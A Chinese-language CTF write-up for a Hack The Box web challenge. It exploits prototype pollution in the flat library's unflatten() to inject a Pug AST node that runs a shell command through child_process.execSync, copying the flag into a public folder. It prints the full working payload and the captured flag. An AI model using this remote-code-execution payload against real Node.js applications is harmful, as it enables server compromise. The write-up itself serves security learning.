Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250402201424087

(有附件)

观察

打开网页:

image-20250402201457172

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const path              = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);

if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});

module.exports = router;

发现它使用了 pug 模板引擎,是专门用来生成 HTML的。

使用Burpsuit抓包可以发现网页给 /api/submit 发送的是:

image-20250402202722607

渗透

这段代码里一开始引用的 unflatten() 正是漏洞所在。

(具体攻击原理参考 https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68)

将发送的内容改成(放到Repeater里修改了再发送):

1
2
3
4
5
6
7
8
9
{
"artist.name": "Haigh",
"__proto__": {
"block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())"
}
}
}

image-20250402202857427

这个内容经过 unflatten() 的处理后会变成:

1
2
3
4
5
6
7
8
9
{
artist: { name: "Haigh" },
__proto__: {
block: {
type: "Text",
line: "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())"
}
}
}

这里的__proto__ 会污染 所有对象的原型,让所有对象都拥有 .block 这个属性。

这段代码最终干的事情便是:

1
cp /app/flag* /app/static/flag

会将flag的内容复制到 /app/static/flag 目录下,然后我们直接访问

1
http://83.136.249.227:44133/static/flag

便可下载文件然后得到flag:HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}